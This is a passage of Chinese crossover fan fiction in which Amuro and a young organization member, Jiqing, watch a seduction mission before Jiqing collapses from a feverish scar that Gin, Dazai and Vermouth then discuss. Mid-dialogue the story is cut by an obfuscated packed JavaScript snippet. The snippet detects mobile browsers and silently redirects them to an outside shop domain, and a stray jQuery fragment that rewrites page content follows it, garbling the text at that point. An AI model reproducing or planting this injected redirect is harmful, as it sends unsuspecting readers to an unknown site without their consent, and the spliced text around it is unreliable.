根据得到的情报,目标公司董事的女儿藤村静奈常去公司附近某市中心高档餐厅消费。安室透将车停在地下车库时,副驾前端两台显示屏正好亮起。
其中一台显示顶层餐厅的监控画面,另一台来自诸星大领口的微型摄像头,际青坐在副驾上,认真地观察这俩监控画面。
目前情况一切如常,诸星大成功与藤村静奈搭上话。两人相谈甚欢,显示屏中的藤村小姐被逗得直笑,一看就对诸星大很满意。
安室透打破地下车库安静的氛围,笑得格外亲和,“真受女性欢迎啊,这个家伙。一看就很有与女人交往的经验,这次任务一定能顺利完成吧。”
“唔。”际青说。
安室透:“明明有女朋友,还愿意为了组织任务放弃私人情感,诸星君一定是个十分敬业的人物,想必组织已经决定让他加入组织了?”
际青:“不知道。”
安室透亲切道:“真令人敬佩,之前我可是足足考察了两个月才加入了组织呢,仅靠美色就能达成这样的成就,我在诸星君面前只能自愧不如。”
际青:“哦。”
他的目光终于从屏幕上移开,看向安室透。
在际青安静的注视下,安室透原本从容的神情忽然有些拘束,不自然地偏头,“作为考核官,际青君觉得他怎么样?”
“……”际青道,“不怎么样。”
他觉得安室透话里有话,打算说清楚,强调道:“他喜欢女人,我不喜欢他。”
“……那若是不提他呢?”安室透有点难以启齿,“只是男人而已呢,男人怎么样?”
际青坦然道:“我喜欢男人。”
安室透眨眨眼,“际青……原来也喜欢男人吗?”
际青笑起来:“喜欢啊。”
安室透暗暗咬了下唇角:“不过,一般来说,大家一开始都不太容易察觉到自己的性取向吧?如果没有特定的契机或遇到什么人……”
“有啊。”际青愉悦道。
前方的转向灯突然打开,滴答的声音吸引了际青的注意。
安室透连忙关了,不好意思似的笑道:“抱歉,刚刚没注意,际青君居然有喜欢的人吗?”
“嗯!”
“男人?”
际青心情很好,也不介意刚刚的插曲:“对,我喜欢哥哥。”
“哥哥,”安室透沉默了一会,“是家人的那种哥哥?没听说过际青君还有哥哥呢。我记得之前有人经常接送际青君……?”
“是我哥哥。”际青低头,伸手挠了一下自己的手臂。
“原来如此。不过际青君,对家人和对男人,其实是两种截然不同的情感哦?”安室透低声叹了口气,又笑得亲和起来,“看来要了解这些,对际青君果然还是太早了点。”
“不早了。我只有这一种情感。”
“是是。”
屏幕里的对话像是已经接近尾声,诸星大发出暗号,安室透刚要打开车门上去与其交接,转头看向际青时,突然感觉到有哪里不对。
际青闷闷地窝在副驾上,安室透不确定是不是暖气的作用,际青的脸色有些发红。
他把半开的门关上,凑身过去查看际青的情况,“这是怎么了,际青君?”
“……怎么了。”际青回过神,恹恹道,“没有。”
“你……”安室透低声道,“脸色不太好。”
“很多时候都不好。”
际青的声音突然变得有点冷:“他结束了?那就轮到你了,没时间了,快点过去,你不会想知道任务失败的后果。”
“……”离开前的最后一秒,安室透仍然没放弃,“你需要什么?我一会去买点药。”
际青看着显示屏,神色低沉,随口道:“葛根汤。”
安室透走后,际青才轻轻喘了口气,手臂上的痛痒没法忽视,隐隐传来滚烫的热量。
他勉强把袖子拉开,手臂臂弯的伤疤红得吓人,薄薄一层皮肉死死包裹其中的血色,很痒。
际青忍不住去挠,却越挠越痒。
丝丝血迹蔓延开来。
怀里通讯器震动,际青迷迷糊糊去拿,却掏出来了那支怀表。
地下车库的人多了起来,旁边的汽车前照灯闪烁两下,即将发车离开。坐在后座的小孩对着面前的电脑看得认真,忽然察觉到什么,转头往旁边看去。
“怎么了,弘树?”
“那位哥哥,好像有点不太对,”叫弘树的男孩把电脑放下,将后座的窗户打开,大声朝际青道:“喂!哥哥,你没有事吧!”
“他听不到我讲话。”弘树有点着急,“好像流血了。爸爸,快停下车。”
樫村忠彬赶紧把车倒回库,匆匆下车跑过去,拍打副驾的窗口,“不好意思,听得到吗?先生?先生你听得到吗?”
际青闷哼着,面色潮红,努力喘着气,几乎没了意识,却有气无力地又去挠手臂,明明已经挠出了鲜血,那股难忍的痒意还是无法忽视。慌乱的敲击声一下下提醒着他几乎要消散的意识,他勉强睁开眼皮,用尽全力,艰难地按下了手边的开窗键。
弘树跳起来趴在窗边,伸手去摸际青的脸,惊呼:“好烫。”
车内暖气开着,车子还在发动中,“来不及了,弘树,你可以进去吗?把驾驶座的车门打开。”
“好!”
“……”
……
际青意识浮浮沉沉,迷糊中闻到熟悉的消毒水味,手臂的伤口被处理过,有股冰凉的触感,但火热的痒意仍在,他又想去挠,才发现双手被缚。难耐的难受让他无意识皱眉,手臂挣扎着去蹭身下的布料,却被一只冰冷的手拦住。
际青忍不住哭出声:“嗯……”
又是一只手抚上他的额头,熟悉的声音在他头上低沉道:“退烧了。”
琴酒抓着际青的手臂,强迫他不要再动,皱着眉耐心等着际青放松。
他伸手拿起通讯器,低头打开短信发出几个指令后,目光冷漠地盯着趴在床边黑西服的桑布卡。
太宰无趣地叹了口气,下巴像果冻一样瘫在床上,指尖试探性地戳了戳际青的伤口,惊奇道:“就算对异能者来说,这也算是史无前例的奇迹了。你们那位先生所追求的,也莫过于此了吧。”
“给个方法,”琴酒说,“我必须治好他。”
太宰抬起头,搭着脑袋:“你要清楚,琴酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740208|207443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。际青原本已经是个死人了,”
他顿了一下,琴酒脸色一瞬间阴沉下来,墨绿色的瞳孔仿佛淬了冰,桑布卡坐起来,张开自己的手展示:“不说我没法直接解除作用于被影响者身上的异能效果,这种临死前迸发出的异能力,本身就带有极强的执念与力量,这才是际青得以存活的原因。
“我只能这么告诉你,际青的生命力只存续到了他十岁那年,只是当年有个小鬼临死前觉醒了异能——也许是某种以命换命,或者维持生机的能力吧——用在了际青身上,这个伤疤就是异能具象化的表现。”
他读不懂空气似地笑道:“你知道是什么人吗?真是太可惜了,那样强大的异能者。不知道那位先生会不会后悔呢,他像一次性用品一样被废弃的小鬼里,居然有他穷极一生追求的目标。”
琴酒表情莫名难辨,冰冷道:“我不想听解释,告诉我,怎么才能治好际青。”
太宰叹气:“与谢野小姐来了也只能束手无策啊,这是死相,死亡总是很难逆转的。
如果只是要消除异能效果,你要是能找到那个小鬼的尸骨,我倒能勉为其难碰一碰,虽然不知道有没有用,我还没试过呢。如果有幸成功,际青就不会这么难受了呢,到那时生命力也就快维持不住了吧,真幸运啊,作为朋友,真心祝愿他能没有痛苦地死去……”
“死相?”琴酒抓着际青的手,浑身绷得死紧,“他既然能用死相活了八年,就能再活八十年。废话说得太多了,桑布卡,你如果没有办法,还待在这里做什么?”
“那就要问问你们了,”太宰双手抱住后脑勺,靠在座椅靠背上,“想要维持死相,你们那儿不是还有位有名的冻龄美人么?”
门外的恰好在这时被推开,进来的人撕开脸上的人皮面具,露出一张倾城的脸。
琴酒皱眉,他没有告知过这人际青的情况和位置,但现在的状况让他没心情探究,际青动了动嘴角,似乎有了清醒的迹象,琴酒俯身低声道:“要喝水么?”
际青呢喃:“要……”
琴酒倒了杯水,习惯性给际青插上吸管。
际青连吸的力气都没有了,难受地别过头,琴酒顿住,又拿勺子一点点去喂,际青总算喝了。
“看起来真蠢啊,”贝尔摩德随手把废弃面具销毁,扔进垃圾桶,“你们两个都是。”
“简直像无可救药了吧。”太宰跟着附和。
贝尔摩德风尘仆仆,大衣里面穿着一身礼服,看起来像是刚从哪个红毯会场上赶来的,她坐在际青床边,低头打量际青的情况,“那位先生太过独断专行,这还只是其中一个,不知道无意中断送了多少成功的可能。按理说,我现在应该更高兴一点才对。”
但她脸上没有表情:“不到迫不得已,我真的很不想际青接触这些,那种东西,早就应该被封印在时间的洪流里了。”
又是一些似是而非的谜语,琴酒冷着脸,不想把烦躁显现在脸上,“有没有用?”
哪有那么多复杂的情感,只要能救际青。
“有用,还正好赶上好时候了,”贝尔摩德环胸,终于露出一个不怎么真诚的笑容,“那个实验不就是琴酒你在负责么……还有雪莉。”